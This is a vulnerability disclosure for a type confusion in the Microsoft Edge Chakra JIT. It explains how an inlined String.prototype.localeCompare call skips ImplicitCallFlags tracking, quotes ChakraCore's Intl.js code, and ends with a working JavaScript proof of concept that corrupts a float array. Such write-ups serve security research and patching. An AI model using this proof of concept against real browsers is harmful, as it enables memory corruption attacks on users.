Microsoft Edge Chakra JIT – ‘localeCompare’ Type Confusion
/* A call to the String.prototype.localeCompare method can be inlineed when it only takes one argument. There are two versions of String.prototype.localeCompare, one [1] is written in JavaScript and the other [2] is written in C++ which just calls the JavaScript version when Intl enabled without updating ImplicitCallFlags. Since JavaScript code could be executed without touching ImplicitCallFlags, this could be exploited in a similar way to that I used for issue 1565 . The only usable code I could find in the JavaScript localeCompare was: const thatStr = String(that); I could override the toString method of "that" which is the first parameter to execute arbitrary JavaScript code. But there was a problem that the toString method was also called in the C++ localeCompare prior to executing the JavaScript localeCompare which updated ImplicitCallFlags. Actually calling a JavaScript function can clear the flag during the initialization process [3] if profiling is enabled, but it was not for Intl.js. So I needed to find another way to exploit this. Here's the JavaScript localeCompare. let localeCompareStateCache; platform.registerBuiltInFunction(tagPublicFunction("String.prototype.localeCompare", function (that, locales = undefined, options = undefined) { if (this === undefined || this === null) { platform.raiseThis_NullOrUndefined("String.prototype.localeCompare"); } const thisStr = String(this); const thatStr = String(that); // Performance optimization to cache the state object and UCollator when the default arguments are provided // TODO(jahorto): investigate caching when locales and/or options are provided let stateObject; if (locales === undefined && options === undefined) { if (localeCompareStateCache === undefined) { localeCompareStateCache = _.create(); InitializeCollator(localeCompareStateCache, undefined, undefined); } stateObject = localeCompareStateCache; } else { stateObject = _.create(); InitializeCollator(stateObject, locales, options); } return platform.localeCompare(thisStr, thatStr, stateObject, /* forStringPrototypeLocaleCompare true); }), IntlBuiltInFunctionID.StringLocaleCompare); My idea was to optimize the method partially, so that when it hits an unprofiled instruction, the flag gets cleared during the bailout process [4]. [1] https://github.com/Microsoft/ChakraCore/blob/40f36e301848f105291bc669f6bb13016585b0c0/lib/Runtime/Library/InJavascript/Intl.js#L984 [2] https://github.com/Microsoft/ChakraCore/blob/40f36e301848f105291bc669f6bb13016585b0c0/lib/Runtime/Library/JavascriptString.cpp#L1297 [3] https://github.com/Microsoft/ChakraCore/blob/40f36e301848f105291bc669f6bb13016585b0c0/lib/Runtime/Language/InterpreterStackFrame.cpp#L1831 [4] https://github.com/Microsoft/ChakraCore/blob/40f36e301848f105291bc669f6bb13016585b0c0/lib/Backend/BailOut.cpp#L1492 PoC: */ function opt(arr, s) { arr[0] = 1.1; if (s !== null) { let tmp = 'a'.localeCompare(s); } arr[0] = 2.3023e-320; } function main() { let arr = [1.1]; for (let i = 0; i < 100; i++) { 'a'.localeCompare('x', []); // Optimize the JavaScript localeCompare opt(arr, null); // for profiling all instructions in opt. try { opt(arr, {toString: () => { throw 1; // Don't profile "if (locales === undefined && options === undefined) {" }}); } catch (e) { } } opt(arr, {toString: () => { // Called twice arr[0] = {}; }}); print(arr); } main(); |